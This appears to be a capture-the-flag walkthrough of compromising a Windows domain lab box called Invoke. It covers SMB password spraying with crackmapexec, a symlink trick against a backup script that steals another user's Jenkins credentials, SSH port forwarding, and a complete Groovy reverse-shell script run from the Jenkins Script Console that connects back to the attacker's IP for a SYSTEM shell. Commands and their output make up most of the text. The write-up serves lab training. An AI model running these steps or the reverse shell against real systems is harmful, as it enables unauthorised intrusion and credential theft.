

NMAP

```
(kali㉿kali)-[~]
$ rustscan --ulimit 5000 -a 192.168.0.37 -- -Pn

-----
[{} }| {} |{ { _ { _ }{ { _ / _ } / {} \ | \ |
| _ \ | { } | _ . } } | | . _ } } \ _ } / ^ \ | \ |
-----

The Modern Day Port Scanner.

-----
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
-----

Real hackers hack time ⌚
PlanetExpress
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.0.37:22
Open 192.168.0.37:53
Open 192.168.0.37:80
Open 192.168.0.37:88
Open 192.168.0.37:135
Open 192.168.0.37:139
Open 192.168.0.37:389
Open 192.168.0.37:464
Open 192.168.0.37:593
Open 192.168.0.37:3268
Open 192.168.0.37:445
Open 192.168.0.37:5985
Open 192.168.0.37:9389
Open 192.168.0.37:49664
Open 192.168.0.37:49668
Open 192.168.0.37:57084
Open 192.168.0.37:57085
Open 192.168.0.37:57098
Open 192.168.0.37:57106
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
```

There are a lot of ports open, which is normal for a Windows AD environment. We can see that we have SSH, DNS, HTTP, Kerberos, RPC, SMB, LDAP and also WinRM for the ports that we will most likely be taking a deeper dive into.

HTTP

There is not much on this webpage, however we can see that there is a linked in profile at the bottom. We may be able to get some of the employees names through that linked in link.

← → ↻ 🏠 192.168.0.37 Screenshot aborted.

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Grafana 8.3.0 - Direct... File upload tricks and c... GitHub - exp10itabl3/T...

This site was designed with the **Wix**.com website builder. Create your website today. [Start Now](#)

ITG

First Name * Last Name *

Email *

Message

<https://www.linkedin.com/in/invoke-local-108714257/>

Enter URL

Address. One East 161st Street, Bronx, NY 10451 **Submit** Tel. 867-5309 HR@invoke.local

© 2023 by ITG. Proudly created with Wix.com

LinkedIn

Activity

0 followers

Invoke Local posted this • 1mo

Need help with your next assessment reach out to us, below are the emails of our security team:

alice.wonderland@invoke.local

[...show more](#)

Invoke Local posted this • 1mo

Company used for Invoke CTF / Boot to Root.

[Show all activity →](#)



Invoke Local • 3rd+
Company Owner at Invoke
1mo •

[+ Follow](#) ...

Need help with your next assessment reach out to us, below are the emails of our security team:

alice.wonderland@invoke.local
hatter.wonderland@invoke.local
carrot.wonderland@invoke.local



We see three user names

Brute Force

Putting those usernames into a file

```
(kali@kali)-[~/Desktop/THM/Invoke_4]
$ cat users.txt
alice.wonderland
carrot.wonderland
hatter.wonderland
```

Utilizing crackmapexec we can try and brute force a password. Remember, when doing this you can also use the --continue-on-success to see if there are any others that you can also brute force.

```
(kali㉿kali)-[~/Desktop/THM/Invoke_4]
$ crackmapexec smb 192.168.0.37 -u users.txt -p /usr/share/wordlists/fasttrack.txt
SMB 192.168.0.37 445 INVOKE [*] Windows 10.0 Build 20348 x64 (name:INVOKE) (domain:invoke.local) (signing:True) (SMBv1:False)
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Spring2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Spring2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Spring2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Spring2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Spring2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:spring2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:spring2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:spring2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:spring2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:spring2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Summer2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Summer2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Summer2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Summer2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Summer2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:summer2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:summer2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:summer2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:summer2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:summer2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Autumn2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Autumn2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Autumn2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Autumn2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Autumn2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:autumn2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:autumn2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:autumn2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:autumn2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:autumn2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Winter2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Winter2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Winter2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Winter2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Winter2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:winter2017 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:winter2016 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:winter2015 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:winter2014 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:winter2013 STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [-] invoke.local\alice.wonderland:Pq55w0rd STATUS_LOGON_FAILURE
SMB 192.168.0.37 445 INVOKE [+] invoke.local\alice.wonderland:Pq55w0rd!
```

SSH

```
(kali㉿kali)-[~/Desktop/THM/Invoke_4]
$ ssh alice.wonderland@192.168.0.37
alice.wonderland@192.168.0.37's password:

Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

invoke0\alice.wonderland@INVOKE C:\Users\alice.wonderland>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\alice.wonderland> █
```

Alice

```
PS C:\Users\alice.wonderland> whoami /all
```

USER INFORMATION

User Name	SID
invoke0\alice.wonderland	S-1-5-21-3507458232-566753447-3129009232-1103

GROUP INFORMATION

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Enabled group
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity	Well-known group	S-1-18-1	Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level	Label	S-1-16-12288	

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeTcbPrivilege	Act as part of the operating system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled
SeCreateSymbolicLinkPrivilege	Create symbolic links	Enabled

USER CLAIMS INFORMATION

User claims unknown.

We have a couple of privileges that are not normal, lets see if we can exploit something and utilize those privileges.

Other files

```
PS C:\Users\alice.wonderland> cd C:\
PS C:\> dir
```

Directory: C:\

Mode	LastWriteTime	Length	Name
d-----	12/29/2022 8:11 AM		Backup
d-----	12/29/2022 5:50 AM		inetpub
d-----	5/8/2021 1:20 AM		PerfLogs
d-r---	12/29/2022 7:14 AM		Program Files
d-----	5/8/2021 2:40 AM		Program Files (x86)
d-----	1/1/2023 12:58 PM		temp
d-r---	12/29/2022 7:12 AM		Users
d-----	12/29/2022 5:59 AM		Windows

```
PS C:\>
```

```
PS C:\> cd .\Backup\
PS C:\Backup> type .\backup.ps1
$log = "C:\Users\alice.wonderland\logs\test.txt"
$backup = "C:\Temp\logs"

while($true) {
    # Grabbing Backup
    copy $log $backup$(get-date -f yyyy-MM-DD_HH_mm_s)
    Start-Sleep -s 60
}

PS C:\Backup>
```

Backup.ps1 shows a link between \$log and \$backup. We have create link privileges and also act as part of an operating system. We should be able to create a symbolic link and read files that we normally could not read.

Symbolic Link

Utilizing this github exploit to create a symbolic link we can do the following:

<https://github.com/googleprojectzero/symbolic-link-testing-tools/releases>

First we need to unzip the exploit on your kali machine, since it is 7zip we can do that with p7zip:

```
p7zip -d release.7z
```

Now that it is unzipped we can utilize the createsymlink.exe executable on the windows machine:


```

(kali㉿kali)-[~/Desktop/THM/Invoke_4]
$ cd ~/Tools/CreateSymLink

(kali㉿kali)-[~/Tools/CreateSymLink]
$ ls -la | grep -i createsym
-rw-r--r--  1 kali kali 129536 Mar 24  2017 CreateSymLink.exe

(kali㉿kali)-[~/Tools/CreateSymLink]
$

```

Moving into the Desktop where we will drop our executable we find another file:

```

PS C:\Users\alice.wonderland\Desktop> dir
Directory: C:\Users\alice.wonderland\Desktop

Mode                LastWriteTime         Length Name
----                -
-a----           12/29/2022   7:11 AM             55 jenkins username and pass.txt

PS C:\Users\alice.wonderland\Desktop> type '.\jenkins username and pass.txt'
Remember Hatter put the Jenkins.txt file on his desktop
PS C:\Users\alice.wonderland\Desktop>

```

Now we know where to create the symbolic link to:

```

(kali㉿kali)-[~/Tools/CreateSymLink]
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

```

PS C:\Users\alice.wonderland\Desktop> wget -UseBasicParsing http://192.168.0.29/CreateSymLink.exe -OutFile CreateSymLink.exe
PS C:\Users\alice.wonderland\Desktop>

```

Before creating the link we need to delete everything in alice's log folder (the test.txt)

```

PS C:\Users\alice.wonderland\Desktop> cd ..\logs\
PS C:\Users\alice.wonderland\logs> dir

Directory: C:\Users\alice.wonderland\logs

Mode                LastWriteTime         Length Name
----                -
-a-----         12/29/2022   12:10 PM             14 test.txt

PS C:\Users\alice.wonderland\logs> del .\test.txt
PS C:\Users\alice.wonderland\logs>

```

Looking back at the backup.ps1 file we will create a symbolic link to talk to temp and drop the jenkins username and password:

```

PS C:\Users\alice.wonderland\logs> dir C:\temp\

Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_39_56
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_40_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_41_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_42_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_43_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_44_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_45_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_46_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_47_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_48_57
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_50_1
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_51_1
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_52_2
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_53_2
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_54_2
-a-----         12/29/2022   12:10 PM             14 logs2023-01-DD_07_55_2

```

```

PS C:\Users\alice.wonderland\logs> cd ..\Desktop\
PS C:\Users\alice.wonderland\Desktop> .\CreateSymlink.exe "C:\Users\alice.wonderland\logs\test.txt" "C:\Users\hatter.wonderland\Desktop\jenkins.txt"
Opened Link \RPC Control\test.txt -> \\?\C:\Users\hatter.wonderland\Desktop\jenkins.txt: 00000158
Press ENTER to exit and delete the symlink

```


Lets SSH back in and see if we drop the jenkins.txt file

```
PS C:\Users\alice.wonderland\logs> type C:\Backup\backup.ps1
$log = "C:\Users\alice.wonderland\logs\test.txt"
$backup = "C:\Temp\logs"

while($true) {
    # Grabbing Backup
    copy $log $backup$(get-date -f yyyy-MM-DD_HH_mm_s)
    Start-Sleep -s 60
}

PS C:\Users\alice.wonderland\logs> cd ..\Desktop\
PS C:\Users\alice.wonderland\Desktop> .\CreateSymlink.exe "C:\Users\alice.wonderland\logs\test.txt" "C:\Users\hatter.wonderland\Desktop\jenkins.txt"
Opened Link \RPC Control\test.txt -> \\?\C:\Users\hatter.wonderland\Desktop\jenkins.txt: 00000158
Press ENTER to exit and delete the symlink

```

```
invoke0\alice.wonderland@INVOKE C:\Users\alice.wonderland>powershell
Windows PowerShell
Copyright (c) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\alice.wonderland> cd C:\temp\
PS C:\temp> dir

Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_07_39_56
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_07_40_57
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_07_41_57
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_07_42_57
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_07_43_57
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_07_44_57
```

```
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_13_52_6
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_13_53_6
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_13_54_6
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_13_55_6
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_13_56_6
-a----           12/29/2022   12:10 PM             14 logs2023-01-DD_13_57_6
-a----           12/29/2022   12:11 PM             98 logs2023-01-DD_13_59_6
```

Alright! One of these files is not like the others

```
PS C:\temp> type logs2023-01-DD_13_59_6
Username:
j
Password:
4rfv
PS C:\temp>
```

Got it

Where is jenkins?

We have a username and password for jenkins, but... port 8080 never showed up on our scans.

Utilizing netstat -ano we can try to find a port that we did not see before (warning the output will be huge but we want the information at the top)

```
PS C:\temp> netstat -ano
```

Active Connections

time and password for jenkins, but... port 8080 never showed up on our scans.

Proto	Local Address	Foreign Address	State	PID
TCP	0.0.0.0:22	0.0.0.0:0	LISTENING	2352
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:88	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	816
TCP	0.0.0.0:389	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:464	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:593	0.0.0.0:0	LISTENING	816
TCP	0.0.0.0:636	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:3268	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:3269	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:5985	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:9000	0.0.0.0:0	LISTENING	3016
TCP	0.0.0.0:9389	0.0.0.0:0	LISTENING	2216
TCP	0.0.0.0:47001	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING	484
TCP	0.0.0.0:49666	0.0.0.0:0	LISTENING	792
TCP	0.0.0.0:49667	0.0.0.0:0	LISTENING	1296
TCP	0.0.0.0:49668	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:57084	0.0.0.0:0	LISTENING	600
TCP	0.0.0.0:57085	0.0.0.0:0	LISTENING	2180
TCP	0.0.0.0:57088	0.0.0.0:0	LISTENING	592
TCP	0.0.0.0:57098	0.0.0.0:0	LISTENING	2300
TCP	0.0.0.0:57106	0.0.0.0:0	LISTENING	2260
TCP	127.0.0.1:53	0.0.0.0:0	LISTENING	2300

That is different...

Port Forwarding

Utilizing port forwarding we can get to the jenkins site

```
(kali@kali)-[~/Desktop/THM/Invoke_4]  
$ ssh -L 9000:127.0.0.1:9000 alice.wonderland@192.168.0.37  
alice.wonderland@192.168.0.37's password:
```



Welcome to Jenkins!

☐ Keep me signed in

Sign in

ALRIGHT IT WORKED!!!


Lets login to Jenkins

Jenkins Reverse Shell

There are many different ways to get a reverse shell in Jenkins, we will use the least invasive way

+


New Item



People



Build History



Manage Jenkins



My Views

Build Queue

▼

No builds in the queue.

Build Executor Status


▼

1 Idle

2 Idle


Scroll down to the bottom

Troubleshooting




Manage Old Data
Scrub configuration files to remove remnants from old plugins and earlier versions.


Tools and Actions




Reload Configuration from Disk
Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk.



Jenkins CLI
Access/manage Jenkins from your shell, or from your script.



Script Console
Executes arbitrary script for administration/trouble-shooting /diagnostics.



Prepare for Shutdown
Stops executing new builds, so that the system can be eventually shut down safely.

Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'println' command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.) Example:

```
println(Jenkins.instance.pluginManager.plugins)
```

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

1

Run

From here we can grab a groovy script for Windows off the internet or use the following, also be advised you will have change the ' and " to make sure they are correct within the script:

```
String host="<your kali IP>";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){};p.destroy();s.close();}
```

```
1 String host="192.168.0.29";
2 int port=445;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirect
```

Also notice I am utilizing port 445

```
(kali㉿kali)-[~/Desktop/THM/Invoke_4]
$ nc -lvnp 445
listening on [any] 445 ...
connect to [192.168.0.29] from (UNKNOWN) [192.168.0.37] 60228
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Jenkins>whoami
whoami
nt authority\system

C:\Program Files\Jenkins>
```

Congrats you did it!!!

```
C:\Users\Administrator\Desktop>type "This [REDACTED]"
type "This [REDACTED]"
OMG...You... [REDACTED]
C:\Users\Administrator\Desktop>
```

kali@kali: ~/Tools/CreateSvmLink 238x9